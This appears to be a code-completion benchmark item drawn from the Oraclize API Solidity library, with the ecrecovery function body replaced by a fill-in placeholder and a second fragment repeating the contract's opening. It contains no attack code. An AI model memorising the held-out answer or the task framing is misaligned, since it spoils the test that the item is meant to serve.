oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal constant returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal constant returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) // the following variables can be relaxed // check relaxed random contract under ethereum-examples repo // for an idea on how to override and replace comit hash vars mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; if (prefix.length != n_random_bytes) throw; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {<FILL_FUNCTION_BODY> } }
contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint 